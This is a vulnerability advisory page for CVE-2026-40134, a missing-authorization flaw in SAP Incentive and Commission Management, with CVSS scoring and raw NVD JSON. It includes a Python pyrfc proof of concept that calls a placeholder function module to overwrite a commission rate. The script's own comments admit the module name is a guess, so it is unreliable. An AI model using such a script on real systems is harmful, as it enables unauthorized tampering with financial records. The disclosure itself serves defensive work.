Security Vulnerability Report
中文
CVE-2026-40134 CVSS 4.3 MEDIUM

CVE-2026-40134

Published: 2026-05-12 03:16:12
Last Modified: 2026-05-12 03:16:12

Description

Due to insufficient authorization checks in the SAP Incentive and Commission Management application, authenticated users could invoke a remote-enabled function module to perform table update operations. This vulnerability has a low impact on integrity with no impact on confidentiality and availability of the application.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SAP Incentive and Commission Management (具体受影响版本请参考 SAP Note 3718508)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pyrfc # This is a conceptual Proof of Concept for CVE-2026-40134. # It demonstrates how an authenticated low-privilege user might # invoke a vulnerable function module to update tables. # Configuration ASHOST = 'sap.target.example.com' SYSNR = '00' CLIENT = '100' USER = 'low_priv_user' PASS = 'password' try: # Create connection to the SAP system conn = pyrfc.Connection( ashost=ASHOST, sysnr=SYSNR, client=CLIENT, user=USER, passwd=PASS ) print("[+] Connected to SAP System") # The vulnerable remote-enabled function module (Placeholder name based on description) # In a real scenario, this would be the specific module lacking authorization checks. vulnerable_function = 'Z_ICM_VULN_UPDATE_TABLE' # Malicious payload: Parameters to update a table entry # Example: Updating a commission rate payload = { 'TABLE_NAME': 'ICM_COMMISSION_RATES', 'KEY_FIELD': 'ID_12345', 'NEW_VALUE': '999.99' } print(f"[*] Attempting to invoke function: {vulnerable_function}") # Invoke the function response = conn.call(vulnerable_function, **payload) print("[+] Function invoked successfully.") print(f"[+] Response: {response}") print("[!] Potential table update executed without proper authorization checks.") conn.close() except Exception as e: print(f"[-] Error: {str(e)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40134", "sourceIdentifier": "[email protected]", "published": "2026-05-12T03:16:12.307", "lastModified": "2026-05-12T03:16:12.307", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to insufficient authorization checks in the SAP Incentive and Commission Management application, authenticated users could invoke a remote-enabled function module to perform table update operations. This vulnerability has a low impact on integrity with no impact on confidentiality and availability of the application."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://me.sap.com/notes/3718508", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}